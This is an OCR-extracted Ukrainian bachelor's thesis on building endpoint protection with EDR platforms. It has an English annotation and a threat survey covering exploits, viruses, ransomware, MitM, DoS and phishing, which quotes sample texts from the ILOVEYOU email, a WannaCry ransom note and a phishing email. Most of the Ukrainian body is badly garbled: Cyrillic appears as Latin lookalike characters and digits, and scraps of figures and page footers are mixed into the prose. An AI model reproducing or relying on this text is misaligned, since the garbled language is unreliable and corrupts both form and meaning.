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AHOTALA

Keamikanifina pobora 6akamaBpa MpUCBA9€Ha PO3poOIi  MpPOeKTy
MiACUCTEMH 3aXHUCTY KiHIIEBUX TOUOK Ha 6a3i EDR-pimens. [loscHroBanbpHa 3amucka
CKJIaJIa€Thcsl 3 72 CTOPIHOK, MICTHTBH 66 pUCYHKIB, | Tab/MIO, a TAKOX CIHCOK
BMKOPUCTaHMX JiKepesy, W0 Haliuyye 24 HaWMeHYBaHHA Ta pO3MillleHHH Ha 2

CTOpIHKaX.

Mera BunyckHol kBaniikaliiiHol poboTu: po3podbuTH eeKTHBHY MifcHCTEMY
3aXUCTy KIHUEBUX TOYOK 3 BHKOPHUCTaHHAM cydacHMX EDR-pimens s

3abe3IeueHHs BUCOKOTO piBHS iHGopMaIiifHOT Oe3neku opraHizamii.

B poGori ommcaHO MOXIMBI 3arpo3d [Uis O€3leKkd NPUCTPOIB Mepexi Ta
PO3IISIHYTO 0cobiMBoCTi BukoprcTaHHs EDR-pilens 11 3aXUCTy KiHUEBHX BY3JIiB.
[TpoBeneno amamiz pisuux EDR-mmatdopM Ta obpaHy Ty, fika BianoBizae Bcim

HassBHUM BHMOTI'aM.

YV npakThuHilt YacTuHI pOOOTM HAJAITOBAHO MEpEXEBi TMpHCTpoi Ta
sriposajkeHo EDR-nmnardopmy. KpiM Toro, nposezieno ananiz poboru Microsoft
EDR Ta HamamToBaHO IONITHKY Oesrnexkd INsA KIHLUEBUX To4ok. HaseaeHo
PE3yJILTATH TECTYyBaHHA pO3pOOJeHOI MIACHCTEMM Ha pealbHUX JaHHUX, IO

POJEMOHCTPYBaH 11 e(peKTHUBHICT y BUABICHHI Ta pearyBalHi Ha 3arpo3H.

Kmroyosi cnoma:  3AXMCT, KIHLIEBI TOYKH, EDR-PIIIEHHA,
[HOOPMALIIMHA  BE3IIEKA, BUSBJIEHHA TA  PEAI'YBAHHA,
KIBEP3AI'PO3M, MICROSOFT EDR, ATAKA, IIKIJIMBE TIPOT'PAMHE
3ABE3IEYEHHA.
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ANNOTATION

The bachelor's qualification work is dedicated to the development of an endpoint
protection subsystem project based on EDR solutions. The explanatory note consists
of 72 pages, includes 66 figures, 1 table, and a list of 24 references spanning 2 pages.

The goal of the final qualification work is to develop an effective endpoint
protection subsystem using modern EDR solutions to ensure a high level of information
security for the organization.

The work describes potential security threats to network devices and examines
the features of using EDR solutions for endpoint protection. An analysis of various
EDR platforms was conducted, and the one that meets all existing requirements was
selected.

In the practical part of the work, network devices were configured and the EDR
platform was implemented. Additionally, the operation of Microsoft EDR was
analyzed, and a security policy for endpoints was configured. The results of testing the
developed subsystem on real data demonstrated its effectiveness in detecting and
responding to threats.

Key words: PROTECTION, ENDPOINTS, EDR SOLUTIONS,
INFORMATION SECURITY, DETECTION AND RESPONSE, CYBER THREATS,
MICROSOFT EDR, ATTACK, MALWARE.
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ITIK — nepcoHaIbHUNA KOMIT FOTEP.
[13 — mporpamue 3a0e3medeHHS.

AC — Active Directory.

HNEPEJIIK YMOBHHUX CKOPOYEHb

IP — Internet Protocol.

LAN — Local Area Network.

EDR - Endpoint Detection and Response.

SIEM - Security Information and Event Management.

SOAR - Security Orchestration, Automation and Response.

DoS - Denial-of-Service.
MitM - Man-in-the-Middle.

IDS - Intrusion Detection System.

IPS - Intrusion Prevention System.
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BCTVYII

AKTyaJIbHICTh TeMM. 3aXHUCT KIHIEBHUX BY3JIIB € HAJA3BUYAHHO Ba)KIMBOIO
3a/1a4ei0 B CyYacHOMY 1H(OPMAIIMHOMY CYCIUIBCTBI. 3 PO3BUTKOM TEXHOJOTIH 1
30UIBIICHHSAM KUJIBKOCTI MPUCTPOIB, MIAKIIOYECHUX 10 IHTEPHETY, 3pOCTAE 1 KUIBKICTh
Kibeparak, CHpsSMOBaHUX Ha KIHIIEBI BY3JIM, TakKl K IEPCOHAJIbHI KOMITIOTEPH,
cmaptdhonn Ta 1HmI mpucTtpoi. Hespakatoum Ha 3HauHUil mporpec y cdepi
KibepOe3mneku, 6arato NMUTaHb 3aJIUIIAIOTHECS HEBUPIMIEHUMH, 30KpeMa, e(eKTUBHUM
3aXUCT BiJl HOBUX Ta €BOJIOLIOHYI0UMX 3arpo3. EDR mnatdgopmu cranu iHHOBaiiftHUM
pILIEHHSIM Y 11 Taiy3i, 3a0e3neuyoun TTu00Ky BUAUMICTD 1 aHali3 aKTUBHOCTEH Ha
KIHIIEBUX BYy3JIax [IJI1 CBOEYACHOTO BHSBIEHHS Ta pearyBaHHs Ha 3arpo3m.
JlocnmikeHHsl cydyacHUX HampsMKiB 3actocyBaHHd EDR mnatdopm mokasyroTs ix
eeKTUBHICTh y pI3HUX c(epax, BKItouaouu Oi3Hec, (PiHAHCOBI YCTAHOBHU, OXOPOHY
3JI0pOB'sSl Ta I€P>KABHI CTPYKTYPH.

OCHOBHOI0 MeTO010 POOOTH € pO3pOOKa Ta BIPOBAKEHHS €()EKTUBHOI CUCTEMH
3aXMCTy KIHIIEBUX BY3/1iB 3 BUKopucTtanHsM EDR mnardopm, mo 3abe3nedutsb
BHUCOKHUI PiBEHb OE3MEKHU Ta 3aXKUCTY BiJ CydacHHUX KiOep3arpos.

JIist  MOCSATHEHHS TIOCTaBJICHOI METH TependavyacTbcsi BUPIMICHHS TaKUX

3aBJIaHb:
- AHaJli3 CyyacHUX 3arpo3 JUisl KIHIEBHUX BY3JIIB 1 TEHJIEHLIN iX pO3BUTKY.

- Ornsag wasBHHX pimeHb y cdepi EDR mmardopm Ta Bu3HaueHHs ix

OCHOBHHX T€peBar 1 HeJIOMIKIB.

- Po3pobka wmetomosnorii BnpoBamxkenHs EDR mmardopmu mis 3axucry

KIHIIEBHX BY3JIiB.

- TecryBanHs Ta o1iHKa €()EKTUBHOCTI 3alIPOTIOHOBAHOTO PIIICHHS.

00'exTOM JOCIIKEHHS € MPOIEC 3aXUCTy KIHIIEBUX BY3JIIB Bija Kibep3arpos y
KOMIT'FOTEpHHUX Mepekax 3 Bukopuctanasm EDR mnatdopm.

IIpeamerom nociikenHs € Bukopuctanuss EDR-mmatdopwm 1 MOHITOPUHTY,
BUSIBJICHHSI Ta pearyBaHHs Ha MOTEHIIIIHI KiOep3arpo3u Ha KOMIT'I0Tepax, HOyTOyKax,

MOOLTFHUX MPUCTPOSIX Ta IHIIUX HUYPOBUX MPUCTPOSIX.
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VY mponeci BUKOHaHHS KBali(ikaiiifHOi poboTH Oyno po3poOJIEHO MPOEKT

MIJICUCTEMH 3aXUCTy KIHIEBUX TO4oK Ha 0a3i EDR-pimens, mociipkeHo ixHi

MOXJIMBOCTI, pPeali30BaHO OE3MEKOB1 PIIICHHS, a TaKOXX MPOBEJICHO TECTYBaHHS Ta

OLIIHKY €(EKTUBHOCTI 3aMpPONOHOBAHOIO pIlIeHHS. 30KpeMa, OyJo BHSIBJICHO

MOTEHLINHHI 3arpo3u Ta 3A1HCHEHO MOHITOPHHI aKTHMBHOCTEH KIHIIEBHX TOYOK, IO

AO3BOJIMJIO CBOECYACHO p€aryBaT Ha BUSBJICHI iHHI/II[GHTI/I.
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PO311JI 1 TEOPETUYHI OCHOBHA TA OI'JIAl EDR INVNIAT®OPM
1.1 IloHATTA KiHIEBOTO BY3JIa I iOT0 PoJib Y Mepexi

Kinuesuit By3on (anrn. endpoint) — 1e Oyap-sSKMi TPUCTPIM, SKUN
MIJKITIOYEHUH 10 Mepexi 1 B3aemojie 3 Hewo [1]. Ile MoxyTh OyTH MepCcOHalbHI
KOMII FOTepH, HOYTOYKH, CepBEpU, MOOLITBHI TipucTpoi, mpuHTepu, loT-npuctpoi Ta
1HIIT1 amapatHi 3aco0u. BianmosigHo 10 cTanmapTiB iHPopMaIliifHOT Oe3eKu, KIHIeBUN
BY30JI € OCTaHHIM IYHKTOM Yy JIAHIFO)KKY TIiepefadi JaHuX MK KOpHUCTyBadeM Ta

Mepexero. KiHieBi By3/iM BUKOHYIOTh KUJIbKa BOXKJIUBUX (QYHKIIN y MEpexi:
- Jloctym 10 pecypciB Ta MOCIYyT,
- OOpoOka Ta 30epiraHHs JaHUX,
- Bzaemogis Mix KOpHCTyBauaMu,

- 3abes3neyeHHs Oe3MeKu.

Joctyn 10 pecypciB Ta mocayr. Kinnesi By3nu 3a0e3neuyoTh KOpUCTyBauam
JIOCTYII 10 MEPEKEBUX PECYPCIB Ta MOCIYT, TaKUX AK (aitiu, 6a3u JaHUX, TPOrpaMu
Ta IHTepHET-pecypcu. BoHM BHCTynawTh sK 1HTepdeiic MK KOpUCTyBauem 1
MEPEXKEIO.

OO0po0Oka Ta 30epiranHs AaHux. bararo KiHIEBUX BY3JIIB, 0COOJIMBO CEPBEPH,
BI/IMOBIAAIOTH 32 00pOOKY Ta 30epiraHHs 1aHuX. BoHU MOXYyTh BUKOHYBAaTH CKJIAQJIHI
oOuucieHHs, 30epiratu Benuki o0'eMu iHGopMalii Ta OOCIyroByBaTH 3allUTU
KOPHUCTYBaUiB.

B3aemogaist Mick kopuctyBayamu. KiHIIeBl By3/1M MOJIETHIYIOTh KOMYHIKAIiO
MDK KOpPHUCTyBauaMHM, IO3BOJISIIOYM OOMIHIOBATHCA MOBIJTOMJICHHSIMU, (ailiamu Ta
IHITUMHU BUAAMU 1HPOpMAIIiT Yepe3 MEepexy.

3a0e3nevyenns Oe3nexku. KiHieBi By3/iM € KpUTUYHUMH TSI 3arajibHOi Oe3MeKu
Mepexi. BoHn MoxyTh OyTH Bpa3JIMBUMHM JI0 aTak, 1 TOMY 3a0e3MedyeHHs ix 0e3neKu €
BaXJIMBOIO 3a/1a4eto. e Bkiitouae B cebe BCTAHOBJICHHSI aHTUBIPYCHOT'O POTPaMHOTO
3a0€3MeUYeHHs], OHOBJICHHS OTIEPAIITHIX CUCTEM, BUKOPUCTaHHS (HDaepBOIIIB Ta 1HITUX

3aXUCHUX 3aCO01B.
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1.2 3arpo3u Ta aTaKku Ha KiHIEBi BY3J/1H
1.2.1 ATaKM Ha MePCOHAIbHI KOMIT'IOTEPH Ta MOOIIbLHI MPUCTPOL

KiGep3arpo3u - 1e OyAb-sKi TOTEHIIHHI 3arpo3d, IO BHHUKAIOTH Y
KiOeprmpocTopl Ta MOXKYTh MPU3BECTH JI0 MOPYIICHHS KOH(IACHIIIHHOCTI, MIIICHOCTI
a00 JOCTYITHOCTI KOMIT'HOTEPHUX cucTeM uM aaHux. Kidepszarposu OyBaroTh SK
IIJIECIPSIMOBAaHUMH Ta CIUIAHOBAaHUMH MisIMU, TaK 1 BUMAAKOBUMH IMOISIMH. BoHH
CTBOPIOIOTH 3HAYHI PU3MKH I 1HPopMariitHoi O0e3neku Ta (PyHKIIOHYBaHHS P13HUX
cdep, BKIIOYAI0UX ypsJI0Bl YCTAHOBH, MIANPUEMCTBA 1 IPUBATHUX KOPHUCTYBAYIB.

IcHye 6€3:114 THOBUX aTakK Ha MEepCOHAIbHI KOMI'TOTEPH Ta MOOUTBbHI TPUCTPOT,
KOXKHA 3 SIKUX Ma€ CBOi OCOOJIMBOCTI.

1) EKcnjioiiTd Ta BAKOPHCTAHHSI BPAa3JIMBOCTEi

Excmmoiitu - nie mporpamMu abo KOJH, sIKI BUKOPUCTOBYIOTH BPa3iIUBOCTI B
nporpaMHOMY 3a0e3neueHHi a0o omepalifHuX CHCTEeMax [JJii BHKOHAHHS
HECaHKIIIOHOBAHMX 1 Ha KOMIT'IOTEpl a00 MOOUIbHOMY TpHUcTpoi [S5]. BpaznuBocTi
MOKYTh BUHUKATH Yepe3 MOMIJIKHU B KOJI1, HEJJOCKOHAJIC HAJIAIITYBaHHS CUCTEMHU a0

B1JICYTHICTh OHOBJICHb Oe3neKu. EKCIIIONTH 4acTO BUKOPUCTOBYIOTHCS JJISI:

- BigmameHoro BHWKOHAaHHS KOJy: ATaKylOUMd MOXE 3MYCHUTH CHCTEMY

BUKOHYBATH JIOBUILHUI KOJ, OTPUMYIOYH MOBHUI KOHTPOJIb Ha/l MPUCTPOEM.

- IligBumienHss mnpuBLieiB: EKCIUIOWTH  J03BOJSIIOTE  OTPUMATH  IIpaBa

aJMIHICTpaTOpa Ha CUCTEMI, 1110 3HAYHO PO3ITUPIOE MOKIIUBOCTI aTaKy04oro.

- Bukpaaenus nmanux: UYepe3 BpaziIMBOCTI 3JIOBMHUCHHUKH MOXYTh OTpPHUMATH
J0CTYT 70 KOH(iAeHITiiHOT iH(popMailii, 30epiralouuch y CUCTEMI.
2) Bipycn
Bipycu — 1e mnporpamHuii KOJ, SKWUW 3JaTHUH CaMOBIATBOPIOBATHCS Ta
MPUKPITUTIOBATUCS JO THIIMX Iporpam. Bipycu MOXyTh MOIMIKOIKYBaTH a00 BUAAIATH
JlaHl, a TaKOXX BUKOHYBAaTH 1HII IIKIIMBI J1i. BOHW 4acTo MOMIMPIOIOTHCS 4Yepe3

3apaxkeHi (haiiu, eNeKTPOHH1 JUCTH a00 3aBaHTaKCeHHS 3 [HTepHeTy.
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i¥% ILOVEYOU - Message [Rich Text) [ (O] %]
]Eiie Edit View Insert Format Tools Actions Help l
]TimesNewRoman v‘lO v[éf B 7 U ‘f—égg;

|=send G| @B B0 B! Y

From... | | 5mith, John
To... | | 5mith, John
Crlee | I

Subject:  [ILOVEYOU

LOVE-LETTER-FOR-Y
kindly check the attached LOVELETTER coming from me| OU.TXT.vbs

Pucynox 1.1 - Ilpuknan Bipycy ILOVEYOU a6o LoveLetter
3) YepB'saku

Yeps'siku — CX0K1 Ha BIpYCH, aJie OIIUPIOIOTHCS CAMOCTIMHO Yepe3 Mepexi 06e3

ydacTi KopucTyBaua. BoHM MOXyTh MBHUIKO 1H(IKYBATH BEIUKY KUIBKICTH CHUCTEM,

3aBJIal0uM 3HAYHOI HIKOIH.

4) Bumaraudi (Ransomware)

Bumaraui (Ransomware) — 1e MIKiyIMBI TporpaMu, ki mudpyoTs (aiam

KOpPUCTYBaya Ta BUMaraloTh BUKYII 3a ix po3mmdpyBaHHs. [le Moxe mpusBecTu 10

3HAYHMX BTpAT AaHuX a0o (hiHaHCOBHUX 30UTKIB [6].

Ooops, your files have been encrypted! Engith

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.
Payment will be raised on B8 Can 1 Recover My Files?
5/16/2017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left 'You can decrypt some of your files for free. Try now by clicking <Decrypt>.
But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don’t pay in 7 days, you won't be able to recover your files forever.
We will have free events for users who are so poor that they couldn't pay in 6 months.
Your files will be lost on
i How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.

Please check the current price of Bitcoin and buy some bitcoins. For more information,

51202017 00:47:55

click <How to buy bitcoins>.
And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am
PV S P

. N Send $300 worth of bitcoin to this address. I
bitcoin =
eyt [12t9YDPgwueZ9NyMgw519p7AABIsjré SMw
e [ Checkpayment Ml Decom |

Pucynok 1.2 - Ilpuknajn ataku nporpamu-Bumarada WannaCry

5) Tposinu

Jlineyvruii I1.0.
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Tpossam — mporpamu, siKI MacKylOThCS A KOpucHI abo Oe3meuHi, ane

BUKOHYIOTh IIKUJIUBI Jii MICJsI BCTaHOBJCHHA. BOHM MOXYyTh BUJAIATH JIaHi,

HIMUTYBATH 32 KOPUCTYBayaMH a00 BiIaI€HO KEPYBAaTHU CUCTEMOIO [6].

6) Bpyrdopc aTaku Ta KpaaizkKa mapoJiiB

bpyrdopc araku (Big anri. brute force — «rpyba cumna») - 1e MeTol, 3a

AOIIOMOI'OK0 KO0 3JIOBMHCHHUK HaMara€rbCsa OTpHMATH AOCTYII 0 CHCTCMU abo

00JIIKOBOTO 3aMucy, MOCIIIOBHO TepeOuparour BCl MOXKIIMBI KOMOIHAITT TTapoJIiB 10

TUX Tip, TTOKK HE 3Hai e TpaBuiabHui. OCHOBHI BUIU OpyTdhOpC aTak:

[Tpsimuii 6pyTdopc. Ilepedip BCiX MOXKIMBUX MAPOJIIB O TUX Iip, MOKH
HE 3HaljeThcs mnpaBwibHUW. lle nyxe TpuBanmii mpouec, ane BiH

e(PEeKTUBHUI NIPU CIA0KUX TapOJIAX.

CnoBHUKOB1 aTakd. BuKOpUCTaHHS CHUCKIB HaWOLIBII TOMIUPEHUX

MapoJIiB a00 CJIOBHUKIB JJISI IBUAIIOTO M1A00DY.

[NopuanHi ataku. [loegHaHHS CIOBHMKOBUX aTak Ta repedopy Bapiallii,

HaIlpuKJjaa, 10JaBaHHA YHUCCII 10 KiHHH IMOIIMPCHUX CIIIB.

Kpanixkka maposiiB Moke 3/11iCHIOBATHCS Yepes3:

@imunr. [laxpaiickki MeTOU, 110 3MYIIYIOTh KOPUCTYBaya CaMOCTIHHO

NepeaaT CBOi MapoJl.

3nmoBMUCHE TIporpamHe 3a0e3neueHHs. [Iporpamm, sKi 3amuCyrOTh

HaTUCKaHHSI KJIaBill a00 BUKPaAalOTh 30€pekeH1 mapoJii 3 Opay3epis.

ATtaku Ha 6a3u naHuX. 371aM CepBEPIB, JIe 30epIraroThCs MapoJii, 0COOIUBO
AKII0O BOHU 30epiraloTbCsi y HE3aXWIIEHOMY BUIIsAAl  abo 3

BUKOPUCTAHHSAM CJIA0KOTO MupyBaHHS.

7) Man-in-the-Middle aTaku

Man-in-the-Middle (MitM) ataku - 1ie TN KiOepHAMaiB, MPU SKUX 3TI0BMUCHUK

MEPEXOIUTIOE Ta 3MIHIOE KOMYHIKAI[II0 M)XK IBOMa CTOpOHAMU 0e3 iXHBOTO Bijoma [6].

OcHoBHi crieHapii MitM artak:
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- IlepexomnenHs He3ammMppoOBaHUX MaHUX. 3JIOBMHCHHK MEPEXOILIIOE
JaHl, K1 TepealoThCsl MK KOPUCTYBA4YeM 1 CEPBEPOM, SIKIIIO BOHH HE

samugpoBani (Hanpukiaz, yepe3 HTTP 3amicts HTTPS).

- Ilinpobxa ceprudikarie SSL. 310BMHUCHUK BuAae cebe 3a JOBIpEeHUM
pecypc, BUKOPUCTOBYIOUH TiapooneHui cepTudikar SSL, 1 TakuM 9nHOM

NePEXOIUTIOE BC1 Mepe/aHi JIaHi.

- Atakm Ha Wi-Fi mepexi. 31moBMHCHUK cTBOprOE QanbimmBy Wi-Fi

MEPEXY, J0 KO MiJIKII0YAI0THCS KOPUCTYBAYl, 1 MEPEXOILTIOE iXH1 JTaHi.

@ E—
User Web Application

ra

Perpetrator ;

L

Man in the middle

Pucynok 1.3 - Tlpuknazg ataku "mroauHa-nocepeauni”

8) Arakm BigzMoBa B oGcayroByBanHi (DoS) Ta po3moaisieHa BiiMoBa B
o0cayrosyBanHi (DDoS)

Ataku BimMoBa B oOciyroByBaHHi (DoS) Ta posmomineHa BinMoBa B

o0cnyroByBanH1 (DDoS) cipsiMoBaH1 Ha MEpEBAHTAXKEHHS CEpBEPIB a00 MEpEexK, 1110

pOOUTH X HEOCTYITHUMHU JTsl JIETITUMHHX KopucTyBadiB [4]. Lle qocsraeTses msxom

HAJICUJIAHHS BEJTMKOI KIJIbKOCTI 3aIUTIB, 10 EPEBUIILY€ MOXKIMBOCTI OOCITYTrOBYBaHHS

CHUCTEMMU.
Jineyvruii 11.0. Apx.
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DoS -I-—

= B

Server

= pDos =

=

Server

PN PN

Pucynok 1.4 - ITlpukiiag aTaku BiIMOBH B OOCITyTrOBYBaHHI1

9) Cneuudiuni 3arpo3u Ay MoOiILHUX MPUCTPOIB

Mo061s1bHI TIPUCTPOI, Yepe3 IXHIO MOPTATUBHICTH 1 MOCTIHHE MIAKIIOYEHHS 10

MEpEexXi, CTAIOTh NPHUBAOJIUBUMH LUISIMU 1151 KiOep310urHIIB. OCHOBHI 3arpo3u AJis

MOOUIBHUX MPUCTPOIB BKIIOYAIOTh:

10)

3a0BMHCHI goaaTku. JlogaTku, sKi BHAAIOTh ceOe 3a JICTITHUMHI, ajie
Hacmpapal 30UparoTh KOHQIAEHIIMHI JaHi a00 BUKOHYIOTH 1HIII
3moBMHUCHI [ii. BoHM MOXyTh OyTH 3aBaHTaxkeHi 3 OQimiiHNX abo

CTOPOHHIX Mara3uHiB JI0JIaTKIB.

SMS-¢imunr (Smishing). ®immHroBi artakw, IO BUKOPHUCTOBYIOTH
SMS-nioBinomiieHHs Asisi oTpuMaHHs KoH(imeHuiiHoi iHopmamii Binx

KOPHUCTYBAaYiB.

3apaxenns uyepe3 Bluetooth. BukopucranHs Bpa3nuBocTel Yy

npotokoii Bluetooth aiist 3apaxeHHst NPpUCTPOIB Ta MEPEXOIIICHHS TaHUX.

ExcniioiitTy B MOOIIBHUX omnepauniiiHuX cucremMax. BukopucTaHHS
Bpa3NMBOCTEN y omnepauiiHux cucremax (Hanpukiaana, Android abo 10S)
Ui OTPUMAaHHS HECAHKIIOHOBAHOTO JOCTYIy a0o0 BCTaHOBJICHHS
mkigmusoro I13.

CounianbHa iHKeHepist

CorrianpHa 1HXXEHEpPIs BKIIOYAE MAHIMYJISIIIO JIFOABMH 3 METOK OTPHUMAHHS

KOH(}ieH1iHOT 1HpopMallii yepe3 BUKOPUCTAHHS MCUXOJOTIYHUX METOJIB BIUIMBY.

Jlineyvruii I1.0. Apk.

Tonosus O.C.

KKIKB.KP.B - 125 - 11 - 13 16

3mn.

Apk.

Ne doxym. Hionuc | Hdama




[le moxyTth OyTu TenedOHHI M3BIHKH, EJEKTPOHHI JUCTH a0o0 IHINI METOIU
KOMYHIKaIlli, 10 TMEePEeKOHYIOTh JIIOJACH PO3KPUTH CBOI Tapoii abo 1HIIY
KOHG1IEHIIIIHY 1H(pOpMaITito.

11) ®@immuHr

OimmHT — 11e maxpaichbka MpaKTHKa, CIIPSIMOBaHa HA OOMaH KOPHUCTYBadiB 3
METOI0 BUKpAJIEHHS iXHIX ocobuctux abo ¢inancoBux manmx [4]. Jlo Takux mii
HaJIe)KaTh HAJACUJIAHHS (aIBIIUBUX EJIEKTPOHHUX JIMCTIB, CTBOPEHHS MiApoOICHUX
Be0-caiiTiB a00 MOB1IOMJICHb, SIK1 Ha TIEPIINH MOTJIA]] BUTISAAIOTH JOCTOBIPHIUMH, ajie

HACIPaB/Il € MaXpPaCbKUMHU.

| Forwarded Message-————-

From: myAt&t ddt34@fhgvh876.com

To: “att-services.123085063 @att-mail.com” att-services.123085063@att-mail.com
Sent: Saturday, August 1, 2020, 7:08:50 AM EDT

Subject: Upgrade Now

Upgrade now before you lose your email account

The Classic version of your Mail will be replaced by our new version on the 3rd of August
2020. So it's time to upgrade before you lose your email access.

UPGRADE NOW

Protecting your information is important to us and we work continuously to strengthen the
threats targeting our Financial Institution.

Thanks for choosing us,
ATET

Pucynox 1.5 - Tlpuknan ¢pimmHroBoi aTaku
1.3 MeToau Ta 3aco0m 3aXHCTy KiHIIeBUX BY3J1iB

3axyCT KIHIEBUX BY3JIIB BKJIIOYAE KOMIUIEKC 3aXO[IB, CIPSIMOBAHMX Ha
3a0e3nedeHHs] 0e3neKkn KOMMI'IoTepiB, cMapT(OHIB, MIAHIIETIB Ta 1HIIMX KIHLIEBHX
NpUCTPOiB Bia Kibep3arpo3. OCKUIBKM 11 TMPUCTPOI € TOYKAMHU JIOCTYMy JO
KOPIIOPAaTUBHUX MEPEX 1 JaHMX, iX 3aXUCT Ma€ KPUTHUUHE 3HAUYCHHS JJIS 3arajibHoi
Ki0epOesnekn opradizanii. BpaxoByiouu MOCTIHHO 3pocTaroul 3arpo3u, HEOoOX1THO
BUKOPHCTOBYBATH KOMIUICKCHUH T1IX1/1, 10 OXOIUIIOE PI3HOMAaHITHI METOJIU Ta 3aCO0U
3aXUCTY.

AHTHUBIpYCHE pOTrpaMHe 3a0€3MEeYCHHSI € OJHUM 3 OCHOBHHX 3aC00iB 3aXHUCTY
KIHIIEBUX BY31iB. BOHO 103BoJiss€ BUABIATH, OJIOKYBaTH Ta BUAQISTH IIKIJIJIUBI

MpOTpaMH, Taki sIK BIpyCH, TPOSIHU, YEPB'SKHU Ta 1HI1 BUAM 3710BMUCHOTO [13. CydacHi

Jlineyvruii I1.0. Apk.
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AaHTHBIPYCH BHUKOPHUCTOBYIOTH pI3HI METOAM, BKIIOYAIOYM CHUTHATYpPHHUM aHami3,
EBPUCTUYHMM aHAaJII3 Ta MOBEIHKOBHI aHaJI3 1JIsl BUSIBICHHS 3arpo3 [8].

bpanamayepu (daepBoim) € BaXJIMBUM 3aCO00M KOHTPOJIO MEPEXKEBOIO
Tpadiky, 10 MPOXOIUTh Yepe3 KiHIeBl By3au. BoHu MOXyTh OJI0KyBaTH HeOa)kaHi
MIKJTFOYEHHS, 3a1100iraTi HeCaHKI[I0HOBAHOMY JOCTYITY Ta 3aXHIIATH BlJ] MEPEKEBUX
atak. ICHyIOTH fIK TporpaMHi, Tak 1 amapatHi OpaHaMayepu, sIKi MOXYTb OyTH
HaJIAIITOBaHI JIJIsl PI3HUX PIBHIB O€3IEKH.

Cucremu BusiBieHHs BToprHeHb (IDS) Ta cucremu 3amoOiraHHS BTOPTHEHB
(IPS) no3BOJIAIOTH BUSIBJISATH Ta 3amo0iraTv Mio3plUIMM aKTUBHOCTSIM Ta aTakaM Ha
kiHieBl By3iau. IDS ananizyroTe mMepexkeBuil Tpadik 1 CHOBIMIAIOTH aIMIHICTpATOpa
PO MOTEHLIIHI 3arpo3u, Tol sk [PS aBToMaTnuHO OJIOKYIOTH MIJO3PLITy aKTUBHICTD
[8].

[udpyBaHHs TaHUX € HEOOX1THUM METOJOM 3aXHCTy 1H(OpMaIli Ha KIHIIEBUX
By3s1aXx. BoHO 3a0e3nedye HENOCTYIHICTh JaHUX JJIs 3IOBMUCHHUKIB HaBiTh y pasi
KoMmpoMeTarlii npuctporo. Lle oco0amBO BaXJIMBO IS 3aXUCTy KOH(QIIEHIIHHOT
1H(popMaIlii Ta 0COOUCTUX JaHUX.

Perynsipue OHOBJIEHHS OIEpalifHUX CHCTEM Ta MPOTrpamMHOro 3a0e3NeyYeHHs €
KPUTUYHO BXKJIMBUM JIJIsI 3aXUCTYy KIHIIEBUX BY3JiB. OHOBJICHHS 3a3BUYail MICTATH
BUIIPABIICHHS BIJJOMUX BPA3JIMBOCTEM, IKI MOKYTh OyTH BUKOPUCTaHI 3JI0BMUCHUKAMHU
JUIsl atak. BakiMBO Tako)X BCTAHOBIIOBATH OHOBJICHHS O€3MEKW OJpa3y Micis iX
BUITYCKY.

bararodaktopna aBrentudikamis (MFA) nomae monaTkoBuii piBeHb 3aXHCTY,
BUMAaral4u BiJl KOPUCTYBadiB MIATBEPAUTH CBOIO OCOOY 3a JIOMOMOTOI0 KUIBKOX
MeToiB aBTeHTU(iIKalii. [{e Moxe OyTu KOMOIHaIlis Mapojs Ta OJHOPA30BOTO KOy,
BIJIIPABICHOT0 Ha MOOUIbHMI TenedoH, OIOMETpUYHUX JaHUX abo0 1HIIMX 3aco0iB
M1ITBEPIPKEHHS OCOOMU.

CermeHTalliss Mepexi Jgonomarae OOMEXKHMTH TMOIIMPEHHS 3arpo3 y pasi
KOMIIpOMeETallii KiHIIeBOro By3ia. Po3nijeHHs Mepeki Ha 130JIbOBaHI CErMEHTU
3MEHIITY€ PHU3HK, 110 OJHA CKOMIIPOMETOBAaHA CHCTEMa 3MOJKE BIUTMHYTH Ha 1HIII

YaCTHMHU MEPEXKI.
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PerynspHe cTBOpeHHs pe3epBHUX KOIIN TaHUX € BAXJIMBUM METOJOM 3aXUCTy
B1J1 BTpaT iHdopMaIlli BHACIIJIOK aTak, TaKMX SK IporpaMu-BuMaradi. PezepBHi komii
MOBHHHI 30epiraTucs y 3axXUIICHOMY Micili 1 OyTH JHOCTYIHUMHU IS BIAHOBJICHHS Y
pasi HeoOX1THOCTI.

OnuH 3 HaMBaXIUBIMIMX AaCHEKTIB 3aXHCTy KIHIIEBUX BY3JIiB — HaBUYaHHS
KOpHCTYBauiB OCHOBaM KibepOesneku. KopuctyBaui mOBUHHI 3HATH, SIK PO3Mi3HABATH
(bIIIMHTOBI aTaKkH, YHUKATH HeOe3MeUHUX BeO-CaTiB Ta HAJIG)KHUM YHMHOM pearyBaTH
Ha migo3pimi ail. [ligBumenHs 0613HaHOCTI cepe] KOPUCTYBaviB MOKE 3HAUHO 3HU3UTU
PHU3HK YCHIIIHUX aTaK.

JlolaTKOB1 METOJM 3aXUCTy KIHIIEBUX BY3JIIB BKJIIOYAIOTh BUKOPUCTAHHS
3aco0IB  ympaBiiHHA MOOUIbBHUMHU mpuctposiMu (MDM), ski  103BOJSIIOTH
KOHTPOJIIOBAaTH Ta 3aXUIIATH MOOUIbHI MPUCTPOI Yy KOPIOPATUBHIA MeEpexi.
Buxopucranns BipTyaqbHux mpuBatHux Mepex (VPN) 3abesneuye Oesneune
3'eMHaHHS JJIS BIAJAJICHMX KOPUCTYBauiB, IO OCOOJMBO BaXJIMBO B YMOBax
30UTBIICHHS YMCTIa BiIJIaJICHUX MPAIliBHUKIB. TaK0X BaXKJIMBO MPOBOJUTU PETYJISPHI
ayIUTA Ta TIEPEeBIpKHM OC3MeKW I BHUSABJICHHS Ta YCYHEHHS TIOTCHIIMHUX

BPA3JIMBOCTEN.
1.4 Orasa EDR naardopm

1.4.1 Busnauyennsi EDR Ta iioro posab y cyuyacHux cucremax 0e3neku

EDR (Endpoint Detection and Response) — 1e TexHoJoris, sika 3a0e3meuye
MOHITOPHUHT, BUSBJICHHS Ta pearyBaHHs Ha 3arpo3u 0e3neKku Ha KIHIIEBUX MPUCTPOSX,
